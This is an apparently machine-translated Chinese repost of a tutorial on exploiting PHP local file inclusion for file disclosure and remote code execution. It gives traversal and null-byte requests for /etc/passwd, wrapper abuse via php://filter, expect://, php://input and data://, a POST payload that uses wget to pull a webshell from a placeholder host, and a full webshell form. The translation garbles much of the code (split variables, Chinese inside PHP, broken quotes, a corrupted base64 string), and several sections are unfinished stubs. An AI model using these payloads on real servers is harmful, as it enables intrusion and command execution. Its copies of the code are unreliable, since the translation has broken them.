PHP的本地文件包含(LFI)和远程执行代码(RCE)漏洞

本地文件包含(LFI)是一种与Web服务器有关的漏洞。它允许攻击者在Web服务器上包含本地文件。这是由于使用不正确的消毒用户输入而发生的。

这可能导致:

outpout源代码或敏感信息
代码执行(服务器端/客户端)
拒绝服务(DoS)

例子

我将在PHP中给出一些例子,但它也可能出现在Perl,ASP,JSP或其他任何东西。

基本包括

服务器代码:

<?PHP
$ file = $ _GET [ 'file' ];
if(isset($ file))
{
include(“$ file”);
}

合法要求:

http://example.com/index.php?file=contact.php

错误的请求:

http://example.com/index.php?file=/etc/passwd

这里攻击者可以简单地选择修改GET请求来给一个不在web serer文件夹中的文件.

目录遍历攻击

服务器代码:

<?PHP
$ file = $ _GET [ 'file' ];
if(isset($ file))
{
include(“lib / functions / $ file”);
}

合法要求:

http://example.com/index.php?file=displaycontent.php

错误的请求:

http://example.com/index.php?file=../../../../../etc/passwd

这里攻击者可以使用相对路径离开Web服务器文件夹。

空字节注入

服务器代码:

<?PHP
$ file = $ _GET [ 'file' ];
if(isset($ file))
{
include(“lib / functions / $ file.php”);
}

合法要求:

http://example.com/index.php?file=displaycontent

错误的请求:

http://example.com/index.php?file=../../../../../etc/passwd%00

这里脚本强制使用.php文件扩展名,但攻击者通过在路径中添加一个空字节,可以删除扩展名。

为什么?%00是0x00十六进制的http编码版本。这是空字符,一个空字节。在C中它是写的\0,它意味着字符串终止字符,以便立即停止处理字符串。

PHP(像其他Web服务器)需要在系统级别处理高级代码,并且通常使用C / C ++函数来完成。分隔符之后的字节将被忽略。

如果在PHP中,我们有:

$ tmp = 'try' ;

在C中我们有:

char tmp [ 4 ];
tmp [ 0 ] = 't' ;
tmp [ 1 ] = 'r' ;
tmp [ 2 ] = 'y' ;
tmp [ 3 ] = '\ 0' ;

所以如果一个空字节注入int php

$ tmp = 'try \ 0next'

会在C:

char tmp [ 9 ];
tmp [ 0 ] = 't' ;
tmp [ 1 ] = 'r' ;
tmp [ 2 ] = 'y' ;
tmp [ 3 ] = '\ 0' ;
tmp [ 4 ] = 'n' ;
tmp [ 5 ] = 'e' ;
tmp [ 6 ] = 'x' ;
tmp [ 7 ] = 't' ;
tmp [ 8 ] = '\ 0' ;

这里了解更多细节。

注意:空字节注入已在PHP 5.3.4中修复(不受支持)。

过滤回避

有人意识到以前的漏洞可能会认为他会安全的一个适当的过滤器,如:

<?PHP
$文件= str_replace函数('../' ,'',$ _GET [ '文件' ]);
if(isset($ file))
{
include(“lib / functions / $ file”);
}

合法要求:

http://example.com/index.php?file=displaycontent

错误的请求(HTTP字符编码):

http://example.com/index.php?file=..%2F..%2F..%2F..%2F..%2Fetc/passwd

或错误的请求(双重所有字符):

http://example.com/index.php?file=....//....//....//....//....//etc/passwd

脚本全部替换../,但如果我们编码斜杠或溺爱什么都没有。还是加倍呢?

第一种方法不适用于最近的PHP版本,但第二种方法几乎每次都能正常工作。

双重编码

有时候可能需要对URL中的一些字符进行编码,以绕过滤波器,正如我们以前所见。这是因为浏览器解码输入,但PHP不。

参看 OWASP

通过使用双重编码,可以绕过只解码一次用户输入的安全过滤器。第二个解码过程由正确处理编码数据的后端平台或模块执行,但没有相应的安全检查。

例如,如果urlencode()在PHP中使用。

所以要继续绕过滤波器,需要双重编码:

我们第一次对数据进行编码,例如../etc/passwd开始%2E%2E%2Fetc%2Fpasswd
现在编码%:%252E%252E%252Fetc%252Fpasswd

路径截断

由于5.3.4以后的所有版本的PHP都不会受到空字节注入的影响,所以我们需要更多的方法来绕过扩展过滤器,例如:

include('lib / functions /' + $ _GET [ 'file' ] + '.php');

事实:

在UNIX上/./etc/passwd是一样的/etc/passwd
在PHP尾随斜杠往往被剥离,所以/etc/passwd/是一样的/etc/passwd
在PHP上,作为尾部的斜杠被剥离,他们可以被添加尽可能多,所以/etc/passwd//////是一样的/etc/passwd
在PHP ./可以,只要你想的路径,从而被附加许多TIEMS /etc/passwd/.,/etc/passwd/./,/etc/passwd/././.都是一样的/etc/passwd。
但是还有另一个有趣的事实可以绕过扩展过滤器:在大量的PHP安装中,长度超过4096字节的文件名被无声地截断!第一个4096字节之后的字符被丢弃,不会触发错误。

所以呢?让我们制定一个很长的路径来放弃.php扩展!

把你的请求和附加一千次./,../../../etc/passwd/./././././<...>所以会得到../../../etc/passwd/./././././<...>/././.php但文件名将超过4096字节,所以超长的部分将被丢弃。所以我们只是得到我们的要求和./相当于千次的要求../../../etc/passwd。

反向路径截断

它也存在路径截断的反向版本。这是通过尝试从开始填充文件名超过MAX_PATH值。

但是这种方法有一个缺点:你必须注入确切的字节数来截断.php扩展名。如果../注入太多,文件名也将被截断。另外,这就是为什么你需要添加一些字符,如果路径没有很好的长度,因为字节被注入3 ../。

详情可以在这里找到。

PHP://过滤器

你找到了一个LFI,你包含了这个文件,但是你看不到它的内容?

某些文件config.php或函数库只能执行但不显示。所以为了帮助我们展示他们,我们可以使用一些PHP包装器。

一个着名的是index.php?page=php://filter/read=convert.base64-encode/resource=config,这个过滤器将在base64中编码页面,并显示结果,如果我们已经完成index.php?page=config,然后base64它。

期望://

一个罕见但非常有用的包装expect://,它允许通过PHP执行系统命令。但是默认情况下不启用,需要安装扩展。

http://example.com/index.php?file=expect://ls

PHP://输入

php://input 允许通过POST请求发送有效载荷。

请求:

http://example.com/index.php?file=php://input

发布数据(上传webshell):

<?php system('wget http://xxxx/php-shell.php -O /var/www/html/shell.php'); ?>

发布数据(获取服务器信息):

<?php phpinfo(); ?>

数据://

data:// 可以用来包含可执行的PHP代码。

http://example.com/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA2fPg%3d%3d

要么

http://example.com/index.php?file=data:text/plain;,<?php echo shell_exec($ _ GET ['cmd']);?>

另一个有效载荷可以是,die语句将阻止执行脚本的其余部分,或执行附加到流中的错误解码的扩展。

更有用的PHP有效载荷webshell:

<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form><pre><? echo{$_POST['x']}; ?></pre><? die(); ?>

为了直接执行命令,数据请求+有效载荷可以是:data:,&x=ls或data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls。

成功执行有效负载的最好方法是将其base64并对其进行网址编码。

zip://和phar://

将一个php脚本存档成一个zip或者一个phar(或者其他的包装文件),发送这个档案并告诉哪个文件必须被读取:zip://archive.zip#file.php。

/proc/self/environ

To come.

/proc/self/fd/

To come.

Session Files

To come.

Including images

你可以在图像的末尾添加一些php代码,并上传或包含它。

其他

我邀请你在这里发现更多的攻击媒介。

不要忘记,这些方法可以结合。


转载请注明出处:https://www.freearoot.com/index.php/local-file-inclusion-lfi-and-remote-code-execution-rce-vulnerabilities-for-php.html

文章转载来源:https://rawsec.ml/en/local-file-inclusion-remote-code-execution-vulnerability/